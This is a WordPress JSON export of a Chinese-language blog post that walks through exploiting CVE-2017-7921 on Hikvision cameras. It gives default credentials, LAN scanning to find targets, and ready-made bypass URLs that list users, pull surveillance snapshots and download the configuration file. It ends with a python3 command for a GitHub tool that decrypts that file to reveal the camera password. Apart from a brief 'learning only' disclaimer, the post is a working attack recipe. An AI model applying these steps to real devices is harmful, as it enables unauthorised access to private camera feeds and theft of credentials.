{"id":58,"date":"2023-12-09T20:00:00","date_gmt":"2023-12-09T12:00:00","guid":{"rendered":"http:\/\/blog.tntinminecraft.tech\/?p=58"},"modified":"2024-04-16T19:14:40","modified_gmt":"2024-04-16T11:14:40","slug":"cve-2017-7921-%e6%b5%b7%e5%ba%b7%e5%a8%81%e8%a7%86-hikvision-%e6%91%84%e5%83%8f%e5%a4%b4%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"http:\/\/blog.tntinminecraft.tech\/index.php\/2023\/12\/09\/cve-2017-7921-%e6%b5%b7%e5%ba%b7%e5%a8%81%e8%a7%86-hikvision-%e6%91%84%e5%83%8f%e5%a4%b4%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"CVE-2017-7921 \u6d77\u5eb7\u5a01\u89c6 Hikvision \u6444\u50cf\u5934\u6f0f\u6d1e\u590d\u73b0"},"content":{"rendered":"\n

\u6b64\u6f0f\u6d1e\u590d\u73b0\u4ec5\u4f9b\u5b66\u4e60\u4f7f\u7528\uff0c\u8bf7\u52ff\u7528\u4e8e\u4e0d\u6cd5\u7528\u9014\uff01\uff01\uff01<\/strong><\/p>\n\n\n\n

0x00 \u5f00\u59cb\u4e4b\u524d<\/h2>\n\n\n\n

\u53ef\u4ee5\u5148\u5c1d\u8bd5\u4f7f\u7528\u51fa\u5382\u7528\u6237\u540d\u5bc6\u7801\u767b\u5f55<\/p>\n\n\n\n

user:admin\npwd:12345<\/code><\/pre>\n\n\n\n
0x10 \u641c\u7d22\u6444\u50cf\u5934\u540e\u53f0<\/h2>\n\n\n\n
\u5148\u641c\u7d22\u6444\u50cf\u5934\u540e\u53f0\uff0c\u5982\u679c\u5728\u540c\u4e00\u4e2a\u5c40\u57df\u7f51\u5185\u53ef\u4ee5\u901a\u8fc7\u626b\u63cf\u5c40\u57df\u7f51IP\u7684\u65b9\u5f0f\u641c\u7d22\u3002
\u6211\u4f7f\u7528\u7684\u662fAdvanced IP Scanner<\/a>\uff0c\u626b\u63cf\u4e4b\u540e\u4fdd\u5b58\u5230csv\u6587\u4ef6\u4e2d\uff0c\u641c\u7d22\u201cHikvision\u201d\u53ef\u4ee5\u53d1\u73b0\u8bb8\u591aIP\u3002<\/p>\n\n\n\n
0x20 \u6311\u9009\u5408\u9002\u7684\u7248\u672c<\/h2>\n\n\n\n
\u6bd5\u7adf\u8fd9\u4e2a\u6f0f\u6d1e\u5df2\u7ecf\u5f88\u53e4\u8001\u4e86\uff0c\u6240\u4ee5\u53ea\u6709\u65e7\u7248\u56fa\u4ef6\u624d\u80fd\u7528\uff0c\u5efa\u8bae\u591a\u5c1d\u8bd5\u51e0\u4e2aIP\uff0c\u627e\u4e00\u4e2a\u65e7\u70b9\u7684\u56fa\u4ef6\u3002<\/p>\n\n\n\n
0x30 \u9a8c\u8bc1\u6f0f\u6d1e<\/h2>\n\n\n\n
0x31 \u68c0\u7d22\u7528\u6237\u5217\u8868<\/h2>\n\n\n\n
\u5728\u6d4f\u89c8\u5668\u4e2d\u8f93\u5165\u4ee5\u4e0b\u5730\u5740\u6765\u83b7\u53d6\u3002
http:\/\/{IP}\/Security\/users?auth=YWRtaW46MTEK<\/code><\/p>\n\n\n\n
<\/i><\/span>\u8bf7\u5c06{IP}<\/code>\u66ff\u6362\u4e3a\u6444\u50cf\u5934\u7684IP<\/span><\/div>\n\n\n\n
\u5982\u679c\u6d4f\u89c8\u5668\u663e\u793a\u5185\u5bb9\u5982\u4e0b\uff0c\u8bf4\u660e\u8fd9\u4e2a\u6444\u50cf\u5934\u6709\u6f0f\u6d1e<\/p>\n\n\n\n
<UserList xmlns=\"http:\/\/www.hikvision.com\/ver10\/XMLSchema\" version=\"1.0\">\n<User xmlns=\"http:\/\/www.hikvision.com\/ver10\/XMLSchema\" version=\"1.0\">\n<id>1<\/id>\n<userName>admin<\/userName>\n<priority>high<\/priority>\n<ipAddress>0.0.0.0<\/ipAddress>\n<macAddress>00:00:00:00:00:00<\/macAddress>\n<userLevel>Administrator<\/userLevel>\n<\/User>\n<\/UserList><\/code><\/pre>\n\n\n\n
0x32 \u83b7\u53d6\u76d1\u63a7\u5feb\u7167<\/h2>\n\n\n\n
\u5728\u6ca1\u6709\u8eab\u4efd\u9a8c\u8bc1\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95ee\u4ee5\u4e0b\u5730\u5740\u83b7\u53d6\u76d1\u63a7\u5feb\u7167\u3002
http:\/\/{IP}\/onvif-http\/snapshot?auth=YWRtaW46MTEK<\/code><\/p>\n\n\n\n
0x33 \u4e0b\u8f7d\u6444\u50cf\u5934\u914d\u7f6e\u6587\u4ef6<\/h2>\n\n\n\n
\u9996\u5148\u8bbf\u95ee\u4ee5\u4e0b\u5730\u5740\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6\u3002
http:\/\/{IP}\/System\/configurationFile?auth=YWRtaW46MTEK<\/code>
\u4e4b\u540e\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u4e0b\u8f7d\u4e00\u4e2a\u540d\u4e3a\u201cconfigurationFile\u201d\u7684\u6587\u4ef6<\/p>\n\n\n\n
0x34 \u83b7\u53d6\u5bc6\u7801<\/h2>\n\n\n\n
\u4e0b\u8f7d\u8fd9\u4e2a\u5de5\u5177<\/p>\n\n\n\n
<\/i>\u00a0GitHub<\/span><\/a><\/div>
chrisjd20\/hikvision_CVE-2017-7921_auth_bypass_config_decryptor<\/span><\/a><\/div>
<\/div><\/div>
<\/i>\u00a0<\/span><\/span><\/i>\u00a0<\/span><\/span><\/div><\/div>\n\n\n\n
\u4e4b\u540e\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u89e3\u7801\u914d\u7f6e\u6587\u4ef6<\/p>\n\n\n\n
python3 decrypt_configurationFile.py {configurationFile}<\/code><\/pre>\n\n\n\n
<\/i><\/span>\u8bf7\u5148\u4f7f\u7528 pip3 install pycryptodome \u4e0b\u8f7d\u6240\u9700\u5305<\/span><\/div>\n\n\n\n
\u63a5\u4e0b\u6765\u4f60\u4f1a\u5728\u8f93\u51fa\u4e2d\u770b\u5230\u4e00\u5927\u5806\u6587\u5b57\uff0c\u4f46\u662f\u53ea\u9700\u8981\u6ce8\u610f\u4e0a\u9762\u83b7\u53d6\u5230\u7684\u7528\u6237\u540d\u540e\u9762\u8ddf\u7740\u7684\u5b57\u7b26\u4e32\uff0c\u90a3\u5c31\u662f\u6444\u50cf\u5934\u7684\u5bc6\u7801\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u6b64\u6f0f\u6d1e\u590d\u73b0\u4ec5\u4f9b\u5b66\u4e60\u4f7f\u7528\uff0c\u8bf7\u52ff\u7528\u4e8e\u4e0d\u6cd5\u7528\u9014\uff01\uff01\uff01 0x00 \u5f00\u59cb\u4e4b\u524d \u53ef\u4ee5\u5148\u5c1d\u8bd5\u4f7f\u7528\u51fa\u5382\u7528\u6237\u540d\u5bc6\u7801\u767b\u5f55 0x10 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-58","post","type-post","status-publish","format-standard","hentry","category-24"],"_links":{"self":[{"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/posts\/58","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/comments?post=58"}],"version-history":[{"count":6,"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/posts\/58\/revisions"}],"predecessor-version":[{"id":85,"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/posts\/58\/revisions\/85"}],"wp:attachment":[{"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/media?parent=58"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/categories?post=58"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.tntinminecraft.tech\/index.php\/wp-json\/wp\/v2\/tags?post=58"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}